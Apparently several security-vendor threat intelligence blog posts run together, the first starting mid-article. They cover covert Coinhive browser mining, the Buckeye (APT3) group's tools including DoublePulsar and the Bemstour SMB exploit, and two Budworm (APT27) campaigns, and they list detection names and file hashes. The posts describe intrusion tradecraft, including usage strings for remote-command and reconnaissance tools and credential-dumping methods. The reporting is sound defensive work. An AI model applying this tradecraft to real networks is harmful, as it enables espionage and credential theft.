To maximize revenue, the script is best placed on high-traffic websites and "sticky" websites (where users stay on the same page for longer). According to one early adopter, the revenue generated by his particular site was far lower than the revenue generated from ads.
In fairness to Coinhive, it recommends being transparent with site visitors and that website owners notify users of the mining that will be taking place and, better still, offer users a way to opt in. Unfortunately, despite Coinhive’s best intentions, unscrupulous operators quickly latched on to the idea of secret mining in the hope that users will not notice.
Start of a torrent
The first high-profile site to start using Coinhive mining was The Pirate Bay torrent website. The Pirate Bay has had a checkered history and, being a highly trafficked site (global ranking #161 with 290 million visitors in the last six months), has been looking for alternative ways to monetize its considerable traffic. Its initial attempts at browser mining were quickly spotted by users and they were not too happy about it. At least in the case of The Pirate Bay, this was a case of the site's owners making a decision to use Coinhive.
The Pirate Bay's initial attempts at browser mining were quickly spotted by users and they were not too happy about it.
The Pirate Bay was soon followed by another high-profile site—this time Coinhive's miner was found on two of Showtime's websites. One of the Showtime sites affected was its content streaming site which has high traffic and user sessions are lengthy as visitors stay on the site while content is streaming. Showtime is a premium-based service so it would seem strange that users are made to pay twice for content. The scripts were promptly removed after they were discovered, suggesting that they were planted there maliciously.
Reports of many other sites using the Coinhive mining scripts soon followed. Over the Thanksgiving holiday in the U.S., the Coinhive miner was also found in a LiveHelpNow widget which is used by many websites around the world to offer in-browser support chat sessions. The apparent cause of this was the compromise of one of the CDN servers used by LiveHelpNow to serve up its widget. As with Showtime, LiveHelpNow is already a legitimate revenue-generating business and there's no obvious reason as to why it would risk user confidence to earn a few extra bucks from users. So the most likely scenario is that the server was compromised either by an outsider, or even an insider.
Browser mining is cropping up in many other different places too:
Browser extensions and plugins have already been found with browser-mining scripts.
Even the traditional tech support scam pages are incorporating browser miners into their pages as an additional revenue stream. The heavy CPU use caused by mining may actually help convince the user that they have a problem and may increase the chances of users falling for the scam.
People have even been trying browser mining on parked domains—these are the kind of websites that you can sometimes end up on when you inadvertently misspell a domain name.
Why is browser mining taking off?
There are many reasons why browser-based mining is back with a vengeance. Unlike in previous failed attempts, recent developments in the cryptocurrency and threat landscapes have made this a much more viable activity. Let's have a look at some of these factors in more detail:
Advent of privacy-focused cryptocurrencies
Privacy is important if you want to mine coins maliciously, in order to ensure others cannot easily follow the money trail back to you. Monero, which came to the market in 2014, can offer a high level of transaction privacy. Unlike with most other cryptocurrencies that use public transparent blockchains where transaction addresses can be easily viewed by anyone, Monero does things differently. By default, everything is private, including the amount in a transaction, who sent it, and who received it. There is an option with which wallet owners can selectively reveal some information via what's called a view key, but this is not a feature that cyber criminals are likely to want to use.
Ease of use
As mentioned earlier, Coinhive provides a very neat and easy-to-use package for people to get involved in Monero mining. All you have to do is add a few lines of script to your website code. You don't have to make website visitors download and install executable files.
Figure 3. Coinhive JavaScript sample code to load and run the browser-based miner. Source: Coinhive.com
The mining process can start quickly and quietly in the browser without anybody noticing, unless insufficient throttling is used, in which case the CPU load may max out during the users' session which would be an easy tell-tale for end users to spot.
CPU load may max out during the users' session which would be an easy tell-tale for end users to spot.
Profitable to mine with common home hardware, at scale
Even with the price of Monero reaching over $300 recently, given the current network hash power of the network at around 300 MH/s, profitable mining is a game of scale and requires a careful eye on costs.
With browser-based mining, the cost of mining is borne mostly by the website visitors through hardware wear and tear as well as energy costs. Scale is achieved by using high-traffic sites with sticky content.
Coinhive currently pays 0.000104 XMR ($0.025) for every million hashes. Take for example a user of a PC with a mid-range Intel i7-7700K CPU which is capable of pushing out around 300 H/s. The user would have to spend 3,333 seconds on the site, or roughly 55 minutes, in order to achieve a million hashes. However, if you can get 3,333 users to spend approximately one second each on the site it would achieve a similar result.
Even under optimal conditions, the amount of hashes produced in each instance will be small, but when it comes to distributed computing power, it's all about scale and every little bit adds up.
The cryptocurrency growth factor
As we noted earlier, the value of mining rewards are not great, at least not initially. To get a better understanding, we need to look at the profitability of this activity over the longer term and take in the macroeconomic picture to get a true sense of the reward. The value of cryptocurrencies like Monero is going up dramatically. So far in 2017, the price has gone from $13 to over $300. Under these circumstances where the price of Monero can go up substantially in dollar terms over a relatively short time, mining Monero can become an attractive proposition. A small amount of Monero mined today could potentially be worth a great deal more in a matter of months (conversely it could also drop significantly depending on the health of the overall cryptocurrency economy).
Mirroring the rising interest and price of cryptocurrency, we have also seen a big jump in our detections of both file- and browser-based cryptocurrency mining activity in recent months.
Figure 4. Chart showing the rising price of Monero and detections of all types of cryptocurrency mining malware (file- and browser-based)
Mining on the go
Malicious cryptocurrency mining isn't just confined to desktop computers and servers. Always-connected mobile devices are also a growing target. We have even seen growth in coin mining on mobile phones in recent years. In 2016, we discovered 26 different Android apps that were mining cryptocurrencies. So far in 2017 we have found 35, which is around a 34 percent increase.
Figure 5. The number of Android mobile apps with cryptocurrency miners is also on the rise
Modern mobile phones have processors that can be as powerful as low- to mid-range desktop computers which help to make mobile mining more viable. But cryptocurrency mining is always an energy-intensive activity so the biggest problem facing mobile mining is of course battery drain as battery technology has not progressed as fast as processing power. Mobile mining will inevitably be noticed by the heat generated and the fast-draining battery, not to mention any performance impacts that it may also have on the device.
What does the future hold?
If we consider the cryptocurrency market as whole, we can see that just as the total value of cryptocurrencies increased manifold during the year, interest in malicious mining activity, both browser- and executable-based as indicated by detections of malicious mining activity, increased in tandem with it.
As interest increases, more participants, both as miners and tool makers, join the fray. Coinhive, while being the best known at this time, doesn't have the market to itself. Similar projects like Crypto Loot are cropping up, and other browser mining projects like JSEcoin have been in beta since August 2017 and are trying to generate growth in this activity.
Symantec has observed a significant jump in all cryptocurrency mining activity in recent months as evidenced in our increasing detection rate (See Figures 4 and 5). Despite the genuine aspirations of most browser mining projects to offer a real and potentially better alternative to traditional web revenue generation methods, the sad reality is, it can and is being misused.
Increasing user awareness and detection by security vendors will trigger a new arms race between cyber criminals and defenders. Recent innovations in the malicious use of browser-based mining scripts, such as the "pop-under" technique where browser mining takes place in a hidden browser window, are a sign of this in action. We can expect to see adoption of a wide range of traditional malware propagation and evasion techniques to help spread and prolong mining activity in order to maximize profit. For as long as the current enabling factors are in place making it favorable for mining, we can expect to see interest in browser mining to be sustained or even increase in the short to medium term.
"As long as current enabling factors are in place, interest in browser mining will be sustained or even increase. symc.ly/2Bg5Bh8"
CLICK TO TWEET
How Symantec helps prevent browser mining
Symantec is keeping a watchful eye on the growing trend of browser mining. We are making adjustments as necessary to prevent unwanted cryptocurrency miners from stealing your computing resources to enrich others.
Website owners should watch for injection of the browser-mining scripts into their website source code. Our network solutions can help you spot this in the network traffic as your server communicates with visitors. In addition, file system scans can also show up any files where the browser-based miner code has been injected, enabling you to identify and clean up the content.
Symantec helps prevent others from stealing your computing resources by protecting various stages of the attack chain:
Blocking network traffic associated with browser-mining activity
All mining software, whether it is file- or browser-based, must be able to connect to either the cryptocurrency network or a mining pool to exchange data, in other words its proof-of-work. Without this connection, it cannot get the data it needs to generate hashes, rendering it useless. We can also block the mining scripts from being downloaded in the first instance. Our network protection operates on our endpoint solutions as well as our gateway and cloud touch points; all these solutions help build a solid defense against unwanted mining activity.
Here are some of the network protection signatures geared towards detection of browser-based mining:
Web Attack: PUA.JSCoinminer Download
Web Attack: JSCoinminer Download
Web Attack: JSCoinminer Download 6
Web Attack: JSCoinminer Download 7
Web Attack: JSCoinminer Download 8
Web Attack: JSCoinminer Download 10
Web Attack: JSCoinminer Download 12
Web Attack: JSCoinminer Download 13
Web Attack: JSCoinminer Download 14
Audit: JSCoinminer Download 3
Blocking browser mining activity on endpoints
Our endpoint solutions, including those for mobile devices, can detect and block all types of mining activity whether they are file-based or in-browser. These solutions can prevent mining software from installing or running in the first instance. Browser-based mining scripts are detected as PUA.JScoinminer.
|
Buckeye cyberespionage group shifts gaze from US to Hong Kong
Group’s focus appears to have changed as of June 2015, when it began compromising political entities in Hong Kong.
Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeye’s focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong. Since March 2016, the group has appeared to mostly focus on organizations in Hong Kong, sending malicious emails to targets as recently as August 4, and attempting to spread within compromised networks in order to steal information.
Using the combined threat intelligence of Symantec and Blue Coat Systems, we have built a clear and concise picture of how Buckeye has evolved its tactics in recent years. This has allowed us to further enhance our protection capabilities against the group’s campaigns.
Background
Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. The group delivered Backdoor.Pirpi through malicious attachments or links in convincing spear-phishing emails. Symantec has identified additional tools used by the group, which will be discussed later.
Buckeye has been known to exploit zero-day vulnerabilities in the past, such as CVE-2010-3962 in an campaign in 2010 and CVE-2014-1776 in 2014. Although other zero-day attacks have been reported, they have not been confirmed by Symantec. All zero-day exploits known, or suspected, to have been used by this group are for vulnerabilities in Internet Explorer and Flash.
Shifting focus of attacks
More recently, Symantec telemetry has revealed Backdoor.Pirpi connections from compromised computers based in Hong Kong dating back to August 2015. The infections significantly increased in number towards the end of March 2016 and the beginning of April 2016. Additional investigations discovered related malware samples and determined that targeted organizations were political entities in Hong Kong.
In at least some of these recent attacks, Buckeye used spear-phishing emails with a malicious .zip attachment. The .zip archive attached to the email contains a Windows shortcut (.lnk) file with the Microsoft Internet Explorer logo. Clicking on the shortcut ultimately leads to Backdoor.Pirpi being downloaded and executed on the affected computer.
Who’s being targeted?
From 2015 to date, Symantec identified approximately 82 organizations in various regions that had Buckeye tools present on their network. However, this is not an accurate picture of the targets of interest to Buckeye. The group casts a wide net while trawling for targets but only remains active on the networks of organizations it is interested in. Symantec determined a more accurate picture of Buckeye’s targets by looking at where Buckeye remained active on the network longer than a day, deployed additional tools, and spread onto multiple computers. After these filters were applied to our data, we found a total of 17 organizations, located in Hong Kong (13), the US (3), and the UK (1).
Figure 1. Buckeye victims of interest by region (2015 to date)
It should be noted that this data goes back to 2015 and that the proportion of targets in Hong Kong from March 2016 would be considerably higher. Up to mid-2015, Buckeye’s traditional targets were varying categories of US organizations, which match the types of victims seen in the UK. Buckeye interests changed substantially around June 2015 when the group began infecting organizations in Hong Kong. Infections in the UK and US ceased shortly after this time.
Figure 2. Organizations that Buckeye targeted over time, per region
Malware and tools
Buckeye uses a number of hacking tools as well as malware. Many of the hacking tools are open source applications that have been patched or modified in some manner by Buckeye in an attempt to evade detection.
Buckeye uses Backdoor.Pirpi, a remote access Trojan capable of reading, writing, and executing files and programs. Backdoor.Pirpi also collects information about the target’s local network, including the domain controller and workstations.
As mentioned previously, Buckeye also uses a number of hacking tools, including the following:
Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister. These parameters install it as a service. The keylogger then records keystrokes in encrypted files, for example: thumbcache_96.dbx. It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway.
RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool. Usage is: %s shareIp domain [USER INFORMATION|[USER NAME AND PASSWORD]] [/run:[COMMAND]]
The commands to be passed consist of upload, download, Service (create, delete, start, stop), delete, rename, and AT
PwDumpVariant: This tool imports lsremora.dll (often downloaded by the attacker as part of the toolset) and uses the GetHash export of this DLL. On execution, the tool injects itself into lsass.exe and is triggered with the argument “dig”.
OSinfo: OSInfo is a general purpose, system information gathering tool. It has the following command line argument help:
info <Server/Domain> [options]
[options]:
-d Domain
-o OsInfo
-t TsInfo
-n NetuseInfo
-s ShareInfo ShareDir
-c Connect Test
-a Local And Global Group User Info
-l Local Group User Info
-g Global Group User Info
-ga Group Administrators
-gp Group Power Users
-gd Group Domain Admins
-f <infile> //input server list from infile, OneServerOneLine
info <\\server> <user>
ChromePass: A tool from NirSoft used for recovering passwords stored in the Chrome browser.
Lazagne: A compiled Python tool that extracts passwords from various locally installed application classes, such as web browsers. The full list is: chats, svn, wifi, mails, windows, database, sysadmin, and browsers.
Buckeye seems to target file and print servers, which makes it likely the group is looking to steal documents. This, coupled with the group’s use of zero-day exploits in the past, customized tools, and the types of organizations being targeted would suggest that Buckeye is a state-sponsored cyberespionage group.
Protection
Symantec, Norton, and Blue Coat products protect against the activities of this cyberespionage group.
Symantec and Norton products offer the following detections:
Antivirus
Backdoor.Pirpi
Backdoor.Pirpi!dr
Backdoor.Pirpi!gen1
Backdoor.Pirpi!gen2
Backdoor.Pirpi!gen3
Backdoor.Pirpi!gen4
Backdoor.Pirpi.A
Backdoor.Pirpi.B
Backdoor.Pirpi.C
Backdoor.Pirpi.D
Downloader.Pirpi
Downloader.Pirpi!g1
Intrusion prevention system
System Infected: Backdoor.Pirpi Activity 3
|
Buckeye: Espionage Outfit Used Equation Group Tools Prior to Shadow Brokers Leak
Windows zero day was exploited by Buckeye alongside Equation Group tools during 2016 attacks. Exploit and tools continued to be used after Buckeye's apparent disappearance in 2017.
Key Findings
The Buckeye attack group was using Equation Group tools to gain persistent access to target organizations at least a year prior to the Shadow Brokers leak.
Variants of Equation Group tools used by Buckeye appear to be different from those released by Shadow Brokers, potentially indicating that they didn't originate from that leak.
Buckeye's use of Equation Group tools also involved the exploit of a previously unknown Windows zero-day vulnerability. This zero day was reported by Symantec to Microsoft in September 2018 and patched in March 2019.
While Buckeye appeared to cease operations in mid-2017, the Equation Group tools it used continued to be used in attacks until late 2018. It is unknown who continued to use the tools. They may have been passed to another group or Buckeye may have continued operating longer than supposed.
The 2017 leak of Equation Group tools by a mysterious group calling itself the Shadow Brokers was one of the most significant cyber security stories in recent years. Equation is regarded as one of the most technically adept espionage groups and the release of a trove of its tools had a major impact, with many attackers rushing to deploy the malware and exploits disclosed. One of these tools, the EternalBlue exploit, was used to devastating effect in the May 2017 WannaCry ransomware outbreak.
However, Symantec has now found evidence that the Buckeye cyber espionage group (aka APT3, Gothic Panda) began using Equation Group tools in attacks at least a year prior to the Shadow Brokers leak.
Beginning in March 2016, Buckeye began using a variant of DoublePulsar (Backdoor.Doublepulsar), a backdoor that was subsequently released by the Shadow Brokers in 2017. DoublePulsar was delivered to victims using a custom exploit tool (Trojan.Bemstour) that was specifically designed to install DoublePulsar.
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers. One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec. The second Windows vulnerability (CVE-2017-0143) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the Shadow Brokers leak.
The zero-day vulnerability allows for the leaking of information and can be exploited in conjunction with other vulnerabilities to attain remote kernel code execution. It was reported by Symantec to Microsoft in September 2018 and was patched on March 12, 2019.
How Buckeye obtained Equation Group tools at least a year prior to the Shadow Brokers leak remains unknown.
Buckeye disappeared in mid-2017 and three alleged members of the group were indicted in the U.S. in November 2017. However, while activity involving known Buckeye tools ceased in mid-2017, the Bemstour exploit tool and the DoublePulsar variant used by Buckeye continued to be used until at least September 2018 in conjunction with different malware.
History of attacks
The Buckeye attack group had been active since at least 2009, when it began mounting a string of espionage attacks, mainly against organizations based in the U.S.
The group has a record of exploiting zero-day vulnerabilities. These include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014. Although other zero-day attacks have been reported, they have not been confirmed by Symantec. All zero-day exploits known, or suspected, to have been used by this group are for vulnerabilities in Internet Explorer and Flash.
Timeline of attacks
Beginning in August 2016, a group calling itself the Shadow Brokers began releasing tools it claimed to have originated from the Equation Group. It initially released samples of the information it had, offering the full trove to the highest bidder. Over the coming months, it progressively released more tools, until April 2017, when it released a final, large cache of tools, including the DoublePulsar backdoor, the FuzzBunch framework, and the EternalBlue, EternalSynergy, and EternalRomance exploit tools.
However, Buckeye had already been using some of these leaked tools at least a year beforehand. The earliest known use of Equation Group tools by Buckeye is March 31, 2016, during an attack on a target in Hong Kong. During this attack, the Bemstour exploit tool was delivered to victims via known Buckeye malware (Backdoor.Pirpi). One hour later, Bemstour was used against an educational institution in Belgium.
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor. DoublePulsar is then used to inject a secondary payload, which runs in memory only. The secondary payload enables the attackers to access the affected computer even after DoublePulsar is removed. It is worth noting that earlier versions did not include any means of uninstalling the DoublePulsar implant. This functionality was added in later versions.
A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016, when it was used in an attack against an educational institution in Hong Kong. While the original variant was only capable of exploiting 32-bit systems, the new variant could exploit both 32-bit and 64-bit targets, adding support for newer Windows versions. Another new feature of the payload in the second variant allowed the attacker to execute arbitrary shell commands on the infected computer. This custom payload is also designed to copy arbitrary files and execute arbitrary processes on the targeted computer. When used against 32-bit targets, Bemstour still delivered the same DoublePulsar backdoor. However, against 64-bit targets it delivered only the custom payload. The attackers typically used it to execute shell commands that created new user accounts.
Bemstour was used again in June 2017 in an attack against an organization in Luxembourg. Unlike earlier attacks when Bemstour was delivered using Buckeye’s Pirpi backdoor, in this attack Bemstour was delivered to the victim by a different backdoor Trojan (Backdoor.Filensfer). Between June and September 2017, Bemstour was also used against targets in the Philippines and Vietnam.
Development of Bemstour has continued into 2019. The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23, 2019, eleven days after the zero-day vulnerability was patched by Microsoft.
The purpose of all the attacks was to acquire a persistent presence on the victim’s network, meaning information theft was the most likely motive of the attacks.
Table 1. Buckeye Tool Usage Over Time
March 2016 September 2016 April 2017 June 2017 June 2017 August 2017
Target locations Hong Kong, Belgium Hong Kong Luxembourg Philippines Vietnam
Tools Backdoor.Pirpi Unknown Backdoor.Filensfer Unknown Unknown
Bemstour Exploit Tool (V1) Bemstour Exploit Tool (V2) Shadow Brokers Leak Bemstour Exploit Tool (V1) Bemstour Exploit Tool (V1 & V2) Bemstour Exploit Tool (V2)
DoublePulsar DoublePulsar (32-bit) or custom payload only (64-bit) DoublePulsar DoublePulsar (32-bit) or custom payload only (64-bit) DoublePulsar (32-bit) or custom payload only (64-bit)
The Filensfer connection
Filensfer is a family of malware that has been used in targeted attacks since at least 2013. Symantec has found multiple versions of the malware, including a C++ version, a compiled Python version (using py2exe), and a PowerShell version.
Over the past three years, Filensfer has been deployed against organizations in Luxembourg, Sweden, Italy, the UK, and the U.S. Targets included organizations in the telecoms, media, and manufacturing sectors. While Symantec has never observed the use of Filensfer alongside any known Buckeye tools, information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi).
Bemstour exploit tool
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers.
The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests. The vulnerability allows for the leaking of information.
The second vulnerability (CVE-2017-0143) is a message type confusion vulnerability. When the two vulnerabilities are exploited together, the attacker can gain full access in the form of kernel mode code execution, enabling them to deliver malware to the targeted computer.
When Bemstour was first used in 2016, both vulnerabilities were zero days, although CVE-2017-0143 was subsequently patched by Microsoft in March 2017 (MS17-010). CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017.
Buckeye's exploit tool, EternalRomance, as well as EternalSynergy, can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers. In order to obtain remote code execution capabilities, all three exploit tools needed to collect information about the memory layout of attacked systems in addition to exploiting the aforementioned message type confusion vulnerability. Each tool performed this differently, relying on different vulnerabilities. In the case of the Buckeye exploit tool, the attackers exploited their own zero-day vulnerability (CVE-2019-0703).
DoublePulsar development
The variant of DoublePulsar used in the first attacks performed by Buckeye was different to that leaked by the Shadow Brokers. It appears to contain code to target newer versions of Windows (Windows 8.1 and Windows Server 2012 R2), indicating that it is a newer version of the malware. It also includes an additional layer of obfuscation. Based on technical features and timing, it is possible that this obfuscation was created by DoublePulsar's original authors.
It is noteworthy that the attackers never used the FuzzBunch framework in its attacks. FuzzBunch is a framework designed to manage DoublePulsar and other Equation Group tools and was leaked by the Shadow Brokers in 2017. This suggests that Buckeye only managed to gain access to a limited number of Equation Group tools.
Unanswered questions
There are multiple possibilities as to how Buckeye obtained Equation Group tools before the Shadow Brokers leak. Based on the timing of the attacks and the features of the tools and how they are constructed, one possibility is that Buckeye may have engineered its own version of the tools from artifacts found in captured network traffic, possibly from observing an Equation Group attack. Other less supported scenarios, given the technical evidence available, include Buckeye obtaining the tools by gaining access to an unsecured or poorly secured Equation Group server, or that a rogue Equation group member or associate leaked the tools to Buckeye.
Mystery also surrounds the continued use of the exploit tool and DoublePulsar after Buckeye's apparent disappearance. It may suggest that Buckeye retooled following its exposure in 2017, abandoning all tools publicly associated with the group. However, aside from the continued use of the tools, Symantec has found no other evidence suggesting Buckeye has retooled. Another possibility is that Buckeye passed on some of its tools to an associated group.
Protection
Symantec has the following protection in place to protect customers against these attacks:
File-based protection
Trojan.Bemstour
Backdoor.Doublepulsar
Backdoor.Pirpi
Backdoor.Filensfer
Network-based protection (Intrusion Prevention System)
Attack: SMB Double Pulsar Ping
Attack: SMB Double Pulsar Response
Attack: SMB Double Pulsar V2 Activity
Attack: RDP Double Pulsar Ping
Indicators of Compromise
MD5 SHA256 Description
7020bcb347404654e17f6303848b7ec4 cbe23daa9d2f8e1f5d59c8336dd5b7d7ba1d5cf3f0d45e66107668e80b073ac3 Pirpi (first variant)
aacfef51a4a242f52fbb838c1d063d9b 53145f374299e673d82d108b133341dc7bee642530b560118e3cbcdb981ee92c Pirpi (second variant)
c2f902f398783922a921df7d46590295 01f53953db8ba580ee606043a482f790082460c8cdbd7ff151d84e03fdc87e42 Command line utility to list user accounts on remote machine
6458806a5071a7c4fefae084791e8c67 6b1f8b303956c04e24448b1eec8634bd3fb2784c8a2d12ecf8588424b36d3cbc Filensfer (C/C++)
0d2d0d8f4989679f7c26b5531096b8b2 7bfad342ce88de19d090a4cb2ce332022650abd68f34e83fdc694f10a4090d65 Filensfer (Powershell)
a3932533efc04ac3fe89fb5b3d60128a 3dbe8700ecd27b3dc39643b95b187ccfd44318fc88c5e6ee6acf3a07cdaf377e Filensfer (py2exe)
58f784c7a292103251930360f9ca713e 1c9f1c7056864b5fdd491d5daa49f920c3388cb8a8e462b2bc34181cef6c1f9c Command line SMB client
a469d48e25e524cf0dec64f01c182b25 951f079031c996c85240831ea1b61507f91990282daae6da2841311322e8a6d7 HTran
Threat intelligence
In addition to file-based protection, customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Buckeye, which detail methods of detecting and thwarting activities of this group.
Learn More About Symantec Integrated Cyber Defense
Symantec Enterprise Blogs
INDUSTRY REPORT
2019 Symantec Internet Security Threat Report
DOWNLOAD REPORT NOW
|
Budworm: APT Group Uses Updated Custom Tool in Attacks on Government and Telecoms Org
Previously unseen version of SysUpdate used in August 2023 campaign.
The Budworm advanced persistent threat (APT) group continues to actively develop its toolset. Most recently, the Threat Hunter Team in Symantec, part of Broadcom, discovered Budworm using an updated version of one of its key tools to target a Middle Eastern telecommunications organization and an Asian government.
Both attacks occurred in August 2023. Budworm (aka LuckyMouse, Emissary Panda, APT27) deployed a previously unseen variant of its SysUpdate backdoor (SysUpdate DLL inicore_v2.3.30.dll). SysUpdate is exclusively used by Budworm.
As well as its custom malware, Budworm also used a variety of living-off-the-land and publicly available tools in these attacks. It appears the activity by the group may have been stopped early in the attack chain as the only malicious activity seen on infected machines is credential harvesting.
Tools Used
Budworm executes SysUpdate on victim networks by DLL sideloading the payload using the legitimate INISafeWebSSO application. This technique has been used by the group for some time, with reports of INISafeWebSSO being leveraged dating as far back as 2018. DLL sideloading attacks use the DLL search order mechanism in Windows to plant and then invoke a legitimate application that executes a malicious payload. It can help attackers evade detection.
SysUpdate is a feature-rich backdoor that has multiple capabilities, including:
List, start, stop, and delete services
Take screenshots
Browse and terminate processes
Drive information retrieval
File management (finds, deletes, renames, uploads, downloads files, and browses a directory)
Command execution
Trend Micro reported in March 2023 that Budworm had developed a Linux version of SysUpdate with similar capabilities to the Windows version. SysUpdate has been in use by Budworm since at least 2020, and the attackers appear to continually develop the tool to improve its capabilities and avoid detection.
As well as SysUpdate, the attackers used a number of legitimate or publicly available tools to map the network and dump credentials. Tools used by the attackers in this campaign included:
AdFind: A publicly available tool that is used to query Active Directory. It has legitimate uses but is widely used by attackers to help map a network.
Curl: An open-source command-line tool for transferring data using various network protocols.
SecretsDump: A publicly available tool that can perform various techniques to dump secrets from the remote machine without executing any agent. Techniques include reading SAM and LSA secrets from registries, dumping NTLM hashes, plaintext credentials, and Kerberos keys, as well as dumping the NTDS.dit Active Directory database.
PasswordDumper: A password-dumping tool.
Budworm Background
Budworm is a long-running APT group that is believed to have been active since at least 2013. The attackers are known for their targeting of high-value victims, often focusing on organizations in the government, technology, and defense sectors. Budworm has targeted victims in many countries in Southeast Asia and the Middle East, among other locations, including the U.S. Symantec’s Threat Hunter Team published a blog in October 2022 detailing how Budworm activity was seen on the network of a U.S. state legislature. In that campaign, the attackers also targeted the government of a Middle Eastern country, a multinational electronics manufacturer, and a hospital in Southeast Asia. The attackers also leveraged DLL sideloading in that campaign to load their HyperBro malware.
The victims in this campaign — a government in Asia and a telecommunications company in the Middle East — do align with the kinds of victims we often see Budworm targeting. The targeting of a telecommunications company and government also point to the motivation behind the campaign being intelligence gathering, which is the motivation that generally drives Budworm activity.
That Budworm continues to use a known malware (SysUpdate), alongside techniques it is known to favor, such as DLL sideloading using an application it has used for this purpose before, indicate that the group isn’t too concerned about having this activity associated with it if it is discovered.
The use of a previously unseen version of the SysUpdate tool also demonstrates that the group is continuing to actively develop its toolset. The fact that this activity occurred as recently as August 2023 suggests that the group is currently active, and that those organizations that may be of interest to Budworm should be aware of this activity and the group’s current toolset.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
SHA256 file hashes
c501203ff3335fbfc258b2729a72e82638719f60f7e6361fc1ca3c8560365a0e — Legitimate INISafeWebSSO application
c4f7ec0c03bcacaaa8864b715eb617d5a86b5b3ca6ee1e69ac766773c4eb00e6 — SysUpdate backdoor
551397b680da0573a85423fbb0bd10dac017f061a73f2b8ebc11084c1b364466 — Password dumper
df571c233c3c10462f4d88469bababe4c57c21a52cca80f2b1e1af848a2b4d23 — Hacktool
c3405d9c9d593d75d773c0615254e69d0362954384058ee970a3ec0944519c37 — SecretsDump
f157090fd3ccd4220298c06ce8734361b724d80459592b10ac632acc624f455e — AdFind
ee9dfcea61282b4c662085418c7ad63a0cbbeb3a057b6c9f794bb32455c3a79e — Curl
|
Budworm: Espionage Group Returns to Targeting U.S. Organizations
Recent attacks by group have spanned continents and include first confirmed attacks seen against the U.S. in a number of years.
The Budworm espionage group has mounted attacks over the past six months against a number of strategically significant targets, including the government of a Middle Eastern country, a multinational electronics manufacturer, and a U.S. state legislature. The latter attack is the first time in a number of years Symantec has seen Budworm targeting a U.S-based entity. Along with the above high-value targets, the group also conducted an attack against a hospital in South East Asia.
Current toolset
In recent attacks, Budworm leveraged the Log4j vulnerabilities (CVE-2021-44228 and CVE-2021-45105) to compromise the Apache Tomcat service on servers in order to install web shells. The attackers used Virtual Private Servers (VPS) hosted on Vultr and Telstra as command-and-control (C&C) servers.
Budworm’s main payload continues to be the HyperBro malware family, which is often loaded using a technique known as dynamic-link library (DLL) side-loading. This involves the attackers placing a malicious DLL in a directory where a legitimate DLL is expected to be found. The attacker then runs the legitimate application (having installed it themselves). The legitimate application then loads and executes the payload.
In recent attacks, Budworm has used the endpoint privilege management software CyberArk Viewfinity to perform side-loading. The binary, which has the default name vf_host.exe, is usually renamed by the attackers in order to masquerade as a more innocuous file. Masqueraded names included securityhealthservice.exe, secu.exe, vfhost.exe, vxhost.exe, vx.exe, and v.exe.
In some cases, the HyperBro backdoor was loaded with its own HyperBro loader (file names: peloader.exe, 12.exe). It is designed to load malicious DLLs and encrypt payloads.
While HyperBro was frequently used, the attackers also used the PlugX/Korplug Trojan as a payload at times.
Other tools used in recent attacks include:
Cobalt Strike: An off-the-shelf tool that can be used to load shellcode onto victim machines. It has legitimate uses as a penetration testing tool but is frequently exploited by malicious actors.
LaZagne: A publicly available credential dumping tool.
IOX: A publicly available proxy and port-forwarding tool.
Fast Reverse Proxy (FRP): A reverse proxy tool.
Fscan: A publicly available intranet scanning tool.
Conclusion
Budworm is known for mounting ambitious attacks against high-value targets. While there were frequent reports of Budworm targeting U.S. organizations six to eight years ago, in more recent years the group’s activity appears to have been largely focused on Asia, the Middle East, and Europe. However this is the second time in recent months, Budworm has been linked to attacks against a U.S-based target. A recent CISA report on multiple APT groups attacking a defense sector organization mentioned Budworm’s toolset. A resumption of attacks against U.S.-based targets could signal a change in focus for the group.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
5aecbb6c073b0cf1ad1c6803fa1bfaa6eca2ec4311e165f25d5f7f0b3fe001db — Credential Dumper
779ae012ede492b321fd86df70f7c9da94251440ebe5ec3efee84a432f432478 — FSCAN
ab949af896b6a6d986aed6096c36c4f323f650ccccfc7ea49004ba919d1bfa46 — HyperBro launcher
bebce37572ea2856663383215a013f8115c1f81da0f2bf1233c959955c494032 — HyperBro launcher
6e493ce8dccabf172d818453cc9d4e5bf4b1969ff9690c51b8cb538346e8e00e — HyperBro launcher
8b2e7924f5038473736705b5c3dc3efa918fb7ffe2cc19ce48e4554658d33fe6 — HyperBro launcher
cda8f76ce72759324e11c8af17736d685ca95954c0a09a682834b92a033bb11a — HyperBro launcher
25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51 — HyperBro launcher
90eb92db757dc1ab4ca55b18b604350ecd84b7cd1d9a2555d789432f8c9a430b — HyperBro launcher
